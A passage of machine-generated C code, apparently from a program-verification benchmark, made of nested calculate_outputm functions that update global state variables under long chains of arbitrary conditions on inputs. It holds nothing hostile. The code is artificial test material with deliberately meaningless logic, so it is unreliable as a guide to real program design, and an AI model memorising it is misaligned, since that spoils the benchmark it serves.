a12 = (((((((a58 * a58) % 14999) % 30) + -35) + -16141) / 5) - -3220);
a166 = (a43 + -10);
a70 = ((((((a70 * a12) % 14999) % 78) - -140) / 5) * 5);
a27 = a135[(a66 + 1)];
a120 = a171[(a43 + -12)];
a66 = (a111 - 7);
a90 = a42;
a156 = a107;
a146 = 34 ;
a85 = a72[(a111 - 8)];
a111 = (a17 - -6);
}//printf("%d\n", 23);
}
if((((((( cf==1 && a43 == 14) && a27 == a135[0]) && a16 == a140[2]) && a17 == 4) && a66 == 1) && (a130 == a148[0] && (a85 == a72[0] && ((a58 <= -32 && input == inputs[9]) && (89 == a156[1])))))) {
cf = 0;
a156 = a107;
a158 = (((((((a12 * a58) % 14999) - -6128) / 5) / 5) * 14) / 10);
a43 = (a17 + 11);
//printf("%d\n", 22);
}
}
int calculate_outputm6(int input) {
if((((a70 <= -29 && ((23 == a10[3]) && ((( cf==1 && a16 == a140[0]) && a58 <= -32) && a93 == 33))) && a146 == 33) && a12 <= -119)) {
calculate_outputm42(input);
}
if(((a58 <= -32 && (a85 == a72[0] && a66 == 1)) && (a70 <= -29 && ((( cf==1 && a16 == a140[2]) && (92 == a180[5])) && a111 == 10)))) {
calculate_outputm43(input);
}
}
int calculate_outputm44(int input) {
if(((a17 == 4 && a70 <= -29) && (a111 == 10 && (a58 <= -32 && (a85 == a72[0] && (a120 == a171[0] && (339 < a158 && ((a27 == a135[0] && ( cf==1 && input == inputs[2])) && a43 == 15)))))))) {
cf = 0;
a70 = ((((((a70 * a158) % 14999) - 8323) * 1) % 78) - -211);
a93 = 34 ;
a12 = ((((((a70 * a70) % 14999) + -7333) % 30) + -30) - 2);
a58 = (((((((a58 * a12) % 14999) - 9804) % 74) + 197) - 28289) + 28290);
a85 = a72[(a66 - -1)];
a10 = a199;
a173 = 34 ;
a168 = (a111 + 3);
a17 = (a43 + -9);
a120 = a171[(a66 + a66)];
a27 = a135[((a111 * a43) + -143)];
a185 = a108;
a130 = a148[(a111 - 8)];
a180 = a149;
a111 = ((a43 * a66) - 3);
a146 = 34 ;
a66 = (a17 + -3);
//printf("%d\n", 20);
}
if(((((a43 == 15 && (((a27 == a135[0] && ( cf==1 && input == inputs[1])) && (92 == a180[5])) && a111 == 10)) && a85 == a72[0]) && 339 < a158) && ((a173 == 33 && a17 == 4) && a130 == a148[0]))) {
cf = 0;
a27 = a135[(a66 + 5)];
a169 = ((((((a70 * a158) % 14999) % 74) + 295) / 5) + 185);
a156 = a103;
a43 = (a66 + 15);
//printf("%d\n", 25);
}
if(((a70 <= -29 && ((( cf==1 && a27 == a135[0]) && input == inputs[8]) && a146 == 33)) && ((((a43 == 15 && (339 < a158 && a12 <= -119)) && a58 <= -32) && a93 == 33) && a173 == 33))) {
cf = 0;
a157 = (a43 + -6);
a156 = a103;
a43 = ((a17 - a111) - -18);
//printf("%d\n", 23);
}
}
int calculate_outputm7(int input) {
if((((a93 == 33 && (a130 == a148[0] && ((339 < a158 && cf==1 ) && a173 == 33))) && a17 == 4) && (a111 == 10 && a58 <= -32))) {
calculate_outputm44(input);
}
}
int calculate_outputm45(int input) {
if((((a85 == a72[1] && (a146 == 32 && (input == inputs[8] && ((( cf==1 && a27 == a135[1]) && (67 == a44[0])) && (80 == a185[0]))))) && a111 == 11) && ((((-119 < a12) && (-62 >= a12)) && a120 == a171[1]) && ((-29 < a70) && (93 >= a70))))) {
cf = 0;
a10 = a199;
a66 = 3;
a70 = (((((a58 * a58) * 1) * 1) % 78) + 173);
a27 = a135[a17];
a173 = 33 ;
a150 = a18;
a93 = 34 ;
a17 = (a66 - -3);
a146 = 34 ;
a111 = (a66 - -9);
a51 = (((((a58 * a58) + -22962) / 5) % 54) + -60);
a156 = a107;
a120 = a171[(a111 - 10)];
a85 = a72[(a111 + -10)];
a180 = a149;
a130 = a148[(a66 + -1)];
a12 = ((((((a12 * a58) * 2) - -17559) * 1) % 30) + -31);
a58 = ((((((a58 * a70) % 14999) + 9872) % 74) - -197) + 1);
//printf("%d\n", 19);
}
if(((a130 == a148[1] && ((98 == a180[5]) && (((96 == a156[2]) && (((-29 < a70) && (93 >= a70)) && a146 == 32)) && (67 == a44[0])))) && ((a27 == a135[1] && ((80 == a185[0]) && ( cf==1 && input == inputs[5]))) && a17 == 5))) {
cf = 0;
a180 = a149;
a166 = (a66 + 3);
a10 = a199;
a146 = 34 ;
a43 = (a111 - -2);
a58 = (((((a70 * a70) % 74) + 197) - -14127) + -14125);
a27 = a135[(a17 - 3)];
a70 = (((((((a58 * a58) % 14999) - -1730) % 78) - -171) * 9) / 10);
a130 = a148[a66];
a93 = 34 ;
a12 = (((((((a12 * a58) % 14999) + 4612) * 2) - -2786) % 30) - 30);
a120 = a171[(a111 - 9)];
a17 = (a66 - -4);
a156 = a107;
a111 = (a43 - 1);
a173 = 33 ;
a85 = a72[(a66 - 2)];
a66 = ((a43 / a166) - -1);
//printf("%d\n", 22);
}
}
int calculate_outputm46(int input) {
if(((((((a111 == 11 && ((89 == a185[3]) && (a27 == a135[1] && ((67 == a44[0]) && cf==1 )))) && input == inputs[3]) && a93 == 32) && a85 == a72[1]) && a17 == 5) && (((-29 < a70) && (93 >= a70)) && (98 == a180[5])))) {
cf = 0;
a27 = a135[((a66 / a17) - -7)];
a58 = ((((((a58 * a70) % 74) + 197) * 5) % 74) + 148);
a180 = a149;
a146 = 34 ;
a93 = 34 ;
a17 = (a111 + -5);
a85 = a72[((a66 * a17) + -10)];
a168 = (a111 - -2);
a70 = ((((((a70 * a12) % 78) - -172) - -1) / 5) - -116);
a130 = a148[(a168 + -11)];
a156 = a107;
a120 = a171[a66];
a111 = ((a66 + a168) + -3);
a185 = a108;
a10 = a199;
a173 = 34 ;
a66 = (a17 - 3);
//printf("%d\n", 23);
}
if(((((-32 < a58) && (123 >= a58)) && (((89 == a185[3]) && (((a27 == a135[1] && cf==1 ) && input == inputs[7]) && a120 == a171[1])) && (96 == a156[2]))) && (((a146 == 32 && (67 == a44[0])) && a85 == a72[1]) && a173 == 32))) {
cf = 0;
a12 = (((((a70 * a70) + -14949) * 10) / 9) / 5);
a173 = 33 ;
a43 = ((a17 + a66) + 5);
a93 = 33 ;
a17 = (a43 + -8);
a58 = (((((a12 * a70) % 14999) / 5) - 4370) - 14045);
a120 = a171[(a17 + -4)];
a130 = a148[(a17 - 4)];
a180 = a165;
a10 = a113;
a146 = 33 ;
a156 = a103;
a85 = a72[((a111 / a17) - 2)];
a157 = (a111 + -2);
a70 = (((((a70 * a58) % 14999) / 5) - 24818) + -2032);
a66 = (a43 - 11);
a27 = a135[(a111 + -11)];
a111 = (a157 + 1);
//printf("%d\n", 20);
}
}
int calculate_outputm8(int input) {
if(((a146 == 32 && ((80 == a185[0]) && cf==1 )) && (((a17 == 5 && (((-32 < a58) && (123 >= a58)) && a120 == a171[1])) && a173 == 32) && ((-119 < a12) && (-62 >= a12))))) {
calculate_outputm45(input);
}
if((((96 == a156[2]) && (((89 == a185[3]) && cf==1 ) && a17 == 5)) && ((26 == a10[0]) && ((a130 == a148[1] && a85 == a72[1]) && a111 == 11)))) {
calculate_outputm46(input);
}
}
int calculate_outputm47(int input) {
if((((a130 == a148[1] && a120 == a171[1]) && a117 == a38[0]) && ((98 == a180[5]) && ((a93 == 32 && (input == inputs[3] && (a66 == 2 && ((76 == a44[3]) && ( cf==1 && a27 == a135[1]))))) && a173 == 32)))) {
cf = 0;
a173 = 33 ;
a27 = a135[((a111 - a111) + 3)];
a10 = a113;
a111 = (a17 + 5);
a93 = 33 ;
a195 = a106[a17];
a85 = a72[(a66 + -2)];
a156 = a103;
a66 = ((a17 - a17) - -1);
a180 = a165;
a120 = a171[(a111 - a111)];
a185 = a60;
a70 = ((((a70 * a58) - 17340) + -8286) * 1);
a146 = 34 ;
a12 = (((((a12 * a58) - 11173) - 2521) - -11557) + -12147);
a58 = (((a58 - -27775) * 1) - 33242);
a130 = a148[(a17 + -5)];
a17 = (a111 - 6);
//printf("%d\n", 25);
}
if((((((((76 == a44[3]) && (a117 == a38[0] && ( cf==1 && input == inputs[9]))) && a173 == 32) && (96 == a156[2])) && a66 == 2) && a27 == a135[1]) && (a120 == a171[1] && (a93 == 32 && (98 == a180[5]))))) {
cf = 0;
a10 = a113;
a158 = ((((a58 * a58) + 10083) * 1) * 1);
a120 = a171[(a111 + -11)];
a156 = a107;
a130 = a148[(a111 - a111)];
a43 = ((a111 + a17) + -1);
a180 = a165;
a17 = (a66 + a66);
a27 = a135[((a17 * a43) + -60)];
a85 = a72[(a43 - 15)];
a93 = 33 ;
a66 = (a111 - 10);
a70 = ((((a70 * a12) - 12947) - 4527) * 1);
a173 = 33 ;
a58 = (((((a158 * a158) % 14999) - 29283) - 496) * 1);
a12 = ((((((a12 * a158) % 14999) + 14833) - 480) + 11661) + -31868);
a111 = 10;
//printf("%d\n", 22);
}
if(((((76 == a44[3]) && ((26 == a10[0]) && ((a27 == a135[1] && a130 == a148[1]) && (98 == a180[5])))) && a66 == 2) && (((a117 == a38[0] && (input == inputs[7] && cf==1 )) && a93 == 32) && ((-119 < a12) && (-62 >= a12))))) {
cf = 0;
if(((!(a182 == 9) || ((93 < a70) && (251 >= a70))) && (89 == a185[3]))) {
a180 = a149;
a93 = 34 ;
a58 = (((((66 * 19) / 10) - 1) - 29929) - -30044);
a17 = (a66 + 4);
a12 = ((((((a12 * a58) % 14999) % 30) - 30) + -1) + -1);
a70 = ((((((a70 * a58) % 78) - -171) * 1) - -17947) - 17946);
a10 = a199;
a182 = a137[(a66 - 2)];
a85 = a72[((a111 - a17) - 3)];
a130 = a148[a66];
a166 = ((a66 - a111) - -10);
a27 = a135[((a66 / a111) - -4)];
a120 = a171[((a111 + a66) + -11)];
a111 = ((a17 * a17) + -24);
a156 = a107;
a146 = 34 ;
a66 = ((a17 + a17) - 9);
}else {
a156 = a107;
a146 = 34 ;
a85 = a72[(a111 - 9)];
a58 = (((83 + -20289) * 1) + 20446);
a120 = a171[a66];
a70 = ((((((a70 * a58) % 78) - -171) - 0) - -22336) - 22335);
a166 = ((a111 / a111) + 3);
a12 = (((((((a12 * a58) % 14999) % 30) + -30) * 1) - 22075) + 22074);
a17 = (a66 + 4);
a90 = a42;
a180 = a149;
a130 = a148[(a111 + -9)];
a10 = a199;
a27 = a135[((a66 * a111) - 20)];
a93 = 34 ;
a173 = 34 ;
a66 = (a111 - 8);
a111 = 12;
}//printf("%d\n", 23);
}
}
int calculate_outputm48(int input) {
if(((((98 == a180[5]) && (((-32 < a58) && (123 >= a58)) && (a17 == 5 && (input == inputs[1] && ((-29 < a70) && (93 >= a70)))))) && ((-119 < a12) && (-62 >= a12))) && ((76 == a44[3]) && (((a27 == a135[1] && cf==1 ) && a117 == a38[1]) && (96 == a156[2]))))) {
cf = 0;
a146 = 32 ;
a117 = a38[(a17 + -5)];
//printf("%d\n", 24);
}
if(((input == inputs[8] && (((96 == a156[2]) && (((76 == a44[3]) && (a117 == a38[1] && cf==1 )) && a85 == a72[1])) && a66 == 2)) && (a146 == 32 && (a27 == a135[1] && (((-32 < a58) && (123 >= a58)) && a93 == 32))))) {
cf = 0;
a58 = ((((a58 * 5) % 77) + 46) + 1);
a166 = (a111 + -6);
a146 = 33 ;
a27 = a135[(a17 + -3)];
a130 = a148[7];
a12 = (((a12 + 28919) + -58068) - 56);
a120 = a171[6];
a70 = (((a70 - -24700) + 4649) / 5);
a173 = 32 ;
a43 = ((a166 / a166) - -9);
a66 = 2;
a156 = a103;
a17 = 9;
a10 = a128;
a85 = a72[1];
a93 = 35 ;
a180 = a165;
a111 = 14;
//printf("%d\n", 24);
}
if(((a146 == 32 && ((98 == a180[5]) && ((76 == a44[3]) && ((-32 < a58) && (123 >= a58))))) && (a66 == 2 && (a85 == a72[1] && (input == inputs[7] && (((a117 == a38[1] && cf==1 ) && a27 == a135[1]) && ((-29 < a70) && (93 >= a70)))))))) {
cf = 0;
a51 = (((((a70 * a12) + -16312) + -556) % 54) + -82);
a146 = 34 ;
a43 = a111;
a111 = 13;
a173 = 34 ;
a58 = ((((a58 + 6497) / 5) / 5) + 11085);
a27 = a135[((a43 + a43) - 22)];
a130 = a148[2];
a10 = a128;
a120 = a171[2];
a66 = 7;
a156 = a86;
a85 = a72[5];
a12 = (((((a12 * 1) / 10) / 5) * 10) / 9);
a93 = 34 ;
a17 = 9;
a70 = (((a70 / 5) / 5) + 207);
//printf("%d\n", 22);
}
if(((a27 == a135[1] && ((98 == a180[5]) && (a120 == a171[1] && (a66 == 2 && a93 == 32)))) && ((96 == a156[2]) && ((76 == a44[3]) && ((a117 == a38[1] && ( cf==1 && input == inputs[0])) && a17 == 5))))) {
cf = 0;
if((((140 < a158) && (339 >= a158)) || !(a174 == 10))) {
a93 = 35 ;
a43 = ((a17 - a111) + 22);
a169 = (((((a70 * a70) % 74) - -295) / 5) - -253);
a17 = 10;
a146 = 35 ;
a10 = a128;
a27 = a135[(a17 - -2)];
a58 = (((((a58 % 77) - -46) * 5) % 77) + 45);
a130 = a148[5];
a66 = 7;
a173 = 32 ;
a70 = ((((a70 - -151) - 26790) + 16250) - -10528);
a12 = (((((a12 - 10127) * 10) / -9) + -30998) - -35094);
a85 = a72[4];
a180 = a149;
a156 = a86;
a120 = a171[1];
a111 = 12;
}else {
a93 = 32 ;
a17 = 10;
a169 = ((((a58 * a70) / 5) + 8657) - 35432);
a58 = (((a58 + -10342) * 2) / 5);
a10 = a128;
a166 = ((a66 * a111) - 20);
a180 = a55;
a156 = a86;
a12 = ((((((a12 % 28) - 84) + -7) / 5) * 49) / 10);
a27 = a135[(a111 - 9)];
a66 = 1;
a120 = a171[3];
a146 = 32 ;
a111 = 14;
a85 = a72[5];
a173 = 36 ;
a130 = a148[6];
a70 = (((a70 + 5706) - -11804) - -6854);
}//printf("%d\n", 24);
}
if(((((-29 < a70) && (93 >= a70)) && (a85 == a72[1] && (a120 == a171[1] && ((a111 == 11 && input == inputs[5]) && ((-32 < a58) && (123 >= a58)))))) && (((76 == a44[3]) && (( cf==1 && a117 == a38[1]) && a27 == a135[1])) && (96 == a156[2])))) {
cf = 0;
if((((84 == a90[2]) && a85 == a72[3]) || !(a61 == a172[7]))) {
a156 = a103;
a12 = (((a12 - 8437) * 3) - -19657);
a180 = a55;
a70 = (((a70 * 5) - 8356) + -10855);
a85 = a72[1];
a10 = a113;
a111 = 10;
a166 = (a66 + -1);
a58 = (((a58 + 21414) * 1) / 5);
a174 = (a17 + 5);
a17 = 7;
a146 = 32 ;
a93 = 32 ;
a130 = a148[4];
a173 = 35 ;
a27 = a135[(a174 - 8)];
a120 = a171[4];
a66 = 2;
}else {
a168 = (a66 - -10);
a93 = 32 ;
a85 = a72[4];
a120 = a171[0];
a70 = ((((a70 - -3551) * 5) / 5) - 33255);
a156 = a103;
a146 = 33 ;
a180 = a55;
a130 = a148[0];
a27 = a135[(a111 + -4)];
a174 = (a17 + 10);
a111 = 11;
a10 = a128;
a173 = 36 ;
a58 = ((((a58 * 5) % 77) + 45) / 5);
a12 = (((a12 + 18861) / 5) - -8631);
a66 = 2;
a17 = 9;
}//printf("%d\n", 24);
}
if(((((98 == a180[5]) && (a146 == 32 && ((-119 < a12) && (-62 >= a12)))) && a173 == 32) && (((a66 == 2 && ((76 == a44[3]) && (a27 == a135[1] && ( cf==1 && input == inputs[3])))) && a117 == a38[1]) && a111 == 11))) {
cf = 0;
if(((80 == a185[0]) && a25 <= -117)) {
a27 = a135[(a111 + -9)];
a146 = 35 ;
a58 = ((((a58 - -6213) / 5) / 5) - -9143);
a166 = (a66 - -2);
a90 = a42;
a130 = a148[0];
a93 = 33 ;
a180 = a165;
a10 = a113;
a17 = 9;
a173 = 33 ;
a70 = (((((a70 - 4737) - -13914) - -15544) * -1) / 10);
a12 = (((a12 - 17699) - 2807) * 1);
a120 = a171[6];
a85 = a72[5];
a156 = a103;
a66 = 4;
a111 = 10;
}else {
a10 = a128;
a27 = a135[(a111 - 7)];
a93 = 33 ;
a85 = a72[3];
a130 = a148[5];
a70 = ((((a70 + 28176) + -15266) * 10) / 9);
a111 = 11;
a120 = a171[6];
a12 = ((((a12 * -1) / 10) / 5) / 5);
a180 = a165;
a146 = 33 ;
a17 = 11;
a58 = ((((((a58 - -21868) % 77) - 30) * 5) % 77) - -45);
a166 = (a66 - 1);
a66 = 7;
a156 = a103;
a182 = a137[(a166 + -1)];
}//printf("%d\n", 20);
}
if((((a17 == 5 && ((76 == a44[3]) && a85 == a72[1])) && a120 == a171[1]) && (((-32 < a58) && (123 >= a58)) && (a111 == 11 && (((input == inputs[6] && ( cf==1 && a117 == a38[1])) && a130 == a148[1]) && a27 == a135[1]))))) {
cf = 0;
if((((140 < a158) && (339 >= a158)) || ((( cf==1 && !(a166 == 8)) && !(a61 == 15)) || !(a111 == 14)))) {
a85 = a72[5];
a66 = 6;
a156 = a103;
a10 = a113;
a130 = a148[1];
a120 = a171[6];
a58 = (((a58 - 15978) - 5826) - 3199);
a70 = ((((a70 + 1804) + -26231) * 10) / -9);
a93 = 36 ;
a43 = (a17 + 8);
a146 = 35 ;
a111 = 17;
a173 = 32 ;
a166 = a17;
a27 = a135[(a17 - 3)];
a12 = (((((a12 + 17340) / 5) * 5) * -1) / 10);
a180 = a165;
a17 = 7;
}else {
a58 = ((((a58 + 16061) + 10517) * 10) / 9);
a180 = a55;
a93 = 35 ;
a27 = a135[(a17 - 5)];
a120 = a171[5];
a10 = a199;
a70 = (((a70 - -151) / 5) * 5);
a43 = (a111 + 1);
a17 = 7;
a146 = 32 ;
a12 = ((((a12 / 5) / 5) / 5) + -30);
a157 = (a111 - 2);
a156 = a107;
a66 = 3;
a85 = a72[7];
a173 = 32 ;
a130 = a148[2];
a111 = 12;
}//printf("%d\n", 24);
}
if(((((26 == a10[0]) && (input == inputs[9] && (a66 == 2 && (((a117 == a38[1] && cf==1 ) && a27 == a135[1]) && (98 == a180[5]))))) && a85 == a72[1]) && (((76 == a44[3]) && ((-119 < a12) && (-62 >= a12))) && (96 == a156[2])))) {
cf = 0;
a156 = a86;
a166 = (a17 - -2);
a180 = a55;
a66 = 7;
a93 = 32 ;
a12 = (((((a12 % 28) + -77) - 6) * 9) / 10);
a58 = (((a58 + -12421) * 2) - 1289);
a173 = 36 ;
a85 = a72[7];
a130 = a148[3];
a10 = a128;
a27 = a135[(a166 + -5)];
a70 = ((((a70 + -13582) / 5) + 20026) + -43107);
a146 = 34 ;
a19 = a57;
a120 = a171[1];
a111 = 14;
a17 = 11;
//printf("%d\n", 25);
}
if(((((-119 < a12) && (-62 >= a12)) && (a173 == 32 && ((a117 == a38[1] && (a130 == a148[1] && (( cf==1 && input == inputs[2]) && (76 == a44[3])))) && a146 == 32))) && (a27 == a135[1] && (a120 == a171[1] && (98 == a180[5]))))) {
cf = 0;
a27 = a135[(a66 - -2)];
a10 = a113;
a12 = (((((a12 % 28) + -90) / 5) / 5) + -91);
a146 = 35 ;
a130 = a148[0];
a17 = 11;
a85 = a72[5];
a156 = a103;
a180 = a165;
a166 = ((a66 - a111) + 10);
a66 = 1;
a93 = 35 ;
a120 = a171[6];
a111 = 17;
a58 = (((a58 - -5405) + 4427) - -761);
a70 = (((a70 / 5) - -2) + -19);
a182 = a137[(a166 + -1)];
//printf("%d\n", 25);
}
if(((((a173 == 32 && ((a117 == a38[1] && (input == inputs[4] && ( cf==1 && (76 == a44[3])))) && ((-29 < a70) && (93 >= a70)))) && a27 == a135[1]) && ((-32 < a58) && (123 >= a58))) && ((98 == a180[5]) && (a120 == a171[1] && a17 == 5)))) {
cf = 0;
if(a195 == a106[4]) {
a169 = ((((a58 * a70) - 26284) / 5) - 21914);
a173 = 33 ;
a156 = a86;
a146 = 34 ;
a10 = a113;
a27 = a135[(a111 - 9)];
a66 = 7;
a93 = 36 ;
a120 = a171[1];
a130 = a148[0];
a166 = ((a17 - a17) + 2);
a180 = a165;
a85 = a72[0];
a12 = (((a12 / 5) + 468) * 5);
a70 = (((a70 - -19852) / 5) * 5);
a111 = 13;
a58 = ((((a58 * 5) + 10045) / 5) - 10617);
a17 = 4;
}else {
a166 = (a111 + -6);
a43 = (a111 - -2);
a27 = a135[a66];
a120 = a171[3];
a17 = 10;
a70 = (((a70 * 5) - 21108) - 3028);
a12 = ((((a12 / 5) * -1) / 10) * 5);
a111 = 15;
a180 = a165;
a156 = a103;
a93 = 32 ;
a173 = 35 ;
a58 = ((((a58 * 5) / 5) % 77) + 45);
a85 = a72[1];
a130 = a148[4];
a146 = 33 ;
a10 = a128;
a66 = 7;
}//printf("%d\n", 25);
}
}
int calculate_outputm49(int input) {
if(((((input == inputs[5] && (a117 == a38[7] && cf==1 )) && (76 == a44[3])) && ((-119 < a12) && (-62 >= a12))) && (((((-32 < a58) && (123 >= a58)) && ((((-29 < a70) && (93 >= a70)) && (98 == a180[5])) && (26 == a10[0]))) && a27 == a135[1]) && a93 == 32))) {
cf = 0;
a168 = (a66 - -11);
a70 = ((((a70 / 5) / 5) - 2007) + 2237);
a173 = 34 ;
a27 = a135[(a17 - -2)];
a10 = a199;
a146 = 34 ;
a180 = a149;
a93 = 34 ;
a58 = (((((a58 * a12) * 2) + 11555) % 74) - -198);
a111 = (a17 + 7);
a120 = a171[(a17 + -3)];
a12 = ((((((((a70 * a70) % 14999) % 30) - 51) - 5) * 5) % 30) - 6);
a85 = a72[(a168 - 11)];
a66 = (a168 + -10);
a17 = ((a168 * a168) + -163);
a185 = a108;
//printf("%d\n", 24);
}
if((((a27 == a135[1] && (a85 == a72[1] && ((( cf==1 && input == inputs[7]) && a117 == a38[7]) && ((-119 < a12) && (-62 >= a12))))) && (76 == a44[3])) && (a111 == 11 && ((a173 == 32 && a146 == 32) && (26 == a10[0]))))) {
cf = 0;
a12 = (((85 * 5) + -10404) - 5980);
a43 = ((a111 + a111) + -6);
a66 = (a43 - 15);
a169 = (((((a70 * a70) % 74) - -295) + 21885) + -21882);
a120 = a171[(a43 - 16)];
a173 = 33 ;
a93 = 33 ;
a70 = ((((((a58 * a58) * 1) / 5) + 5669) * -1) / 10);
a85 = a72[(a43 + -16)];
a130 = a148[((a17 - a111) + 6)];
a58 = ((((((a58 * a12) % 14999) % 14984) - 15015) / 5) - 1744);
a156 = a103;
a180 = a165;
a10 = a113;
a27 = a135[(a111 + -5)];
a146 = 33 ;
a17 = ((a111 - a111) - -4);
a111 = (a43 - 6);
//printf("%d\n", 23);
}
if((((98 == a180[5]) && (((-32 < a58) && (123 >= a58)) && ((a117 == a38[7] && a111 == 11) && (76 == a44[3])))) && (((((input == inputs[2] && cf==1 ) && a27 == a135[1]) && a85 == a72[1]) && (26 == a10[0])) && a17 == 5))) {
cf = 0;
a70 = (((60 + -27024) + -2901) - 60);
a117 = a38[((a66 * a111) + -16)];
a10 = a113;
a130 = a148[(a111 + -11)];
a85 = a72[(a111 + -11)];
a58 = ((((((a58 * a70) % 14999) % 14984) - 15015) * 1) * 1);
a169 = ((((a12 * a12) * 2) * 1) + -30131);
a120 = a171[(a111 + -11)];
a93 = 33 ;
a180 = a165;
a156 = a103;
a17 = ((a111 - a111) + 4);
a66 = ((a111 * a111) - 120);
a173 = 33 ;
a146 = 33 ;
a12 = (((((((a70 * a70) % 14999) - -8475) + 5751) / 5) * -1) / 10);
a27 = a135[(a66 + 5)];
a111 = (a66 - -9);
//printf("%d\n", 22);
}
}
int calculate_outputm9(int input) {
if(((((96 == a156[2]) && ((((-29 < a70) && (93 >= a70)) && ( cf==1 && a117 == a38[0])) && ((-119 < a12) && (-62 >= a12)))) && a17 == 5) && (a120 == a171[1] && a85 == a72[1]))) {
calculate_outputm47(input);
}
if((((((-32 < a58) && (123 >= a58)) && ((a66 == 2 && a146 == 32) && ((-119 < a12) && (-62 >= a12)))) && a17 == 5) && (( cf==1 && a117 == a38[1]) && a111 == 11))) {
calculate_outputm48(input);
}
if(((((a120 == a171[1] && a173 == 32) && a85 == a72[1]) && ((-32 < a58) && (123 >= a58))) && (a66 == 2 && (( cf==1 && a117 == a38[7]) && a111 == 11)))) {
calculate_outputm49(input);
}
}
int calculate_outputm50(int input) {
if((((( cf==1 && a166 == 1) && input == inputs[7]) && a93 == 34) && (a85 == a72[2] && (a173 == 34 && ((((a174 == 10 && ((93 < a70) && (251 >= a70))) && (105 == a156[5])) && a130 == a148[2]) && a27 == a135[2]))))) {
cf = 0;
a66 = (a174 + -9);
a173 = 33 ;
a180 = a165;
a43 = ((a17 / a111) - -12);
a111 = (a66 + 9);
a146 = 33 ;
a27 = a135[(a174 + -10)];
a93 = 33 ;
a10 = a113;
a120 = a171[(a17 - 6)];
a157 = ((a43 / a166) - 3);
a85 = a72[((a17 * a111) + -60)];
a130 = a148[(a174 + -10)];
a17 = (a111 - 6);
a156 = a103;
a58 = ((((a58 * a12) + -1788) + -1729) + -3611);
a12 = ((((((a12 * a70) - 702) * 10) / 9) * 10) / 9);
a70 = (((((a70 * a58) % 14999) + -10006) - 3430) - 623);
//printf("%d\n", 20);
}
if(((a173 == 34 && ((((( cf==1 && a174 == 10) && input == inputs[3]) && a166 == 1) && a17 == 6) && a27 == a135[2])) && (((93 < a70) && (251 >= a70)) && (((105 == a156[5]) && a93 == 34) && a130 == a148[2])))) {
cf = 0;
a168 = ((a174 + a17) + -3);
a27 = a135[((a168 + a17) + -12)];
a185 = a108;
//printf("%d\n", 23);
}
}
int calculate_outputm10(int input) {
if((((a85 == a72[2] && a146 == 34) && a120 == a171[2]) && (((( cf==1 && a174 == 10) && a173 == 34) && (100 == a180[1])) && (36 == a10[4])))) {
calculate_outputm50(input);
}
}
int calculate_outputm51(int input) {
if(((((123 < a58) && (272 >= a58)) && ((a85 == a72[2] && (((( cf==1 && a27 == a135[2]) && input == inputs[3]) && a130 == a148[2]) && a166 == 2)) && a169 <= 170)) && (((36 == a10[4]) && a93 == 34) && a66 == 3))) {
cf = 0;
a43 = (a111 + -1);
a156 = a103;
a10 = a113;
a58 = (((a58 - 1025) / 5) + -18104);
a17 = (a166 + 2);
a27 = a135[(a166 + -2)];
a12 = (((((a58 * a58) % 14999) + -24492) / 5) + -24358);
a111 = (a166 + 8);
a51 = ((((((a169 * a70) % 14999) * 2) * 1) % 54) + -113);
a173 = 33 ;
a93 = 33 ;
a130 = a148[(a66 + -3)];
a70 = (((((((a70 * a12) % 14999) + -8107) * 10) / 9) * 10) / 9);
a85 = a72[(a66 - 3)];
a66 = ((a43 - a43) - -1);
//printf("%d\n", 20);
}
}
int calculate_outputm11(int input) {
if((((a85 == a72[2] && (a173 == 34 && (a169 <= 170 && cf==1 ))) && ((93 < a70) && (251 >= a70))) && ((100 == a180[1]) && (a17 == 6 && (105 == a156[5]))))) {
calculate_outputm51(input);
}
}
int calculate_outputm52(int input) {
if(((a93 == 34 && ((((input == inputs[2] && (a27 == a135[2] && ((95 == a90[1]) && (a166 == 4 && cf==1 )))) && a66 == 3) && ((93 < a70) && (251 >= a70))) && (105 == a156[5]))) && (a173 == 34 && ((-62 < a12) && (-1 >= a12))))) {
cf = 0;
a182 = a137[(a17 + -6)];
a166 = ((a111 + a66) + -14);
a27 = a135[(a17 + -2)];
//printf("%d\n", 23);
}
}
int calculate_outputm12(int input) {
if(((a173 == 34 && ((93 < a70) && (251 >= a70))) && ((((((95 == a90[1]) && cf==1 ) && a93 == 34) && a17 == 6) && a111 == 12) && a85 == a72[2]))) {
calculate_outputm52(input);
}
}
int calculate_outputm53(int input) {
if((a120 == a171[2] && ((a173 == 34 && (a111 == 12 && (((input == inputs[0] && (a27 == a135[2] && (( cf==1 && a166 == 5) && a43 == 10))) && (36 == a10[4])) && a17 == 6))) && a146 == 34))) {
cf = 0;
a146 = 34 ;
a166 = (a43 - 3);
a19 = a57;
//printf("%d\n", 20);
}
if((((((( cf==1 && a166 == 5) && a43 == 10) && (100 == a180[1])) && a85 == a72[2]) && a130 == a148[2]) && (((a27 == a135[2] && (input == inputs[4] && a120 == a171[2])) && a173 == 34) && ((93 < a70) && (251 >= a70))))) {
cf = 0;
if(a61 == 12) {
a58 = (((a58 - 3342) + 3191) - -1);
a93 = 32 ;
a120 = a171[7];
a85 = a72[2];
a16 = a140[(a111 - 10)];
a173 = 35 ;
a27 = a135[((a17 * a43) + -60)];
a43 = (a66 + 11);
a10 = a128;
a17 = 8;
a12 = (((a12 / 5) + 1516) - -4144);
a156 = a107;
a70 = (((((a70 % 78) - -100) + 51) * 9) / 10);
a146 = 36 ;
a180 = a149;
a130 = a148[5];
a111 = 16;
a66 = 3;
}else {
a117 = a38[(a166 + -5)];
a180 = a165;
a44 = a198;
a10 = a113;
a85 = a72[7];
a27 = a135[((a17 - a66) + -2)];
a173 = 35 ;
a130 = a148[0];
a66 = 5;
a111 = 14;
a58 = ((((a58 / 5) - 27394) * -1) / 10);
a12 = ((((a12 / 5) + 6567) * 10) / 9);
a156 = a107;
a120 = a171[3];
a93 = 36 ;
a70 = (((((a70 % 78) - -151) + 29397) - -106) + -29495);
a146 = 34 ;
a17 = 11;
}//printf("%d\n", 23);
}
if(((((a111 == 12 && (a66 == 3 && (105 == a156[5]))) && a27 == a135[2]) && (100 == a180[1])) && ((a173 == 34 && ((a166 == 5 && ( cf==1 && input == inputs[5])) && ((-62 < a12) && (-1 >= a12)))) && a43 == 10))) {
cf = 0;
if(a66 == 7) {
a27 = a135[(a66 + -2)];
a44 = a198;
a117 = a38[(a17 - -1)];
}else {
a93 = 34 ;
a130 = a148[1];
a173 = 35 ;
a156 = a86;
a12 = (((a12 + -2733) / 5) - -537);
a58 = (((((a58 * -3) / 10) * 5) + 25991) + -42409);
a111 = 17;
a117 = a38[(a166 + 2)];
a44 = a198;
a70 = ((((a70 * 27) / 10) * 5) * 5);
a146 = 35 ;
a180 = a165;
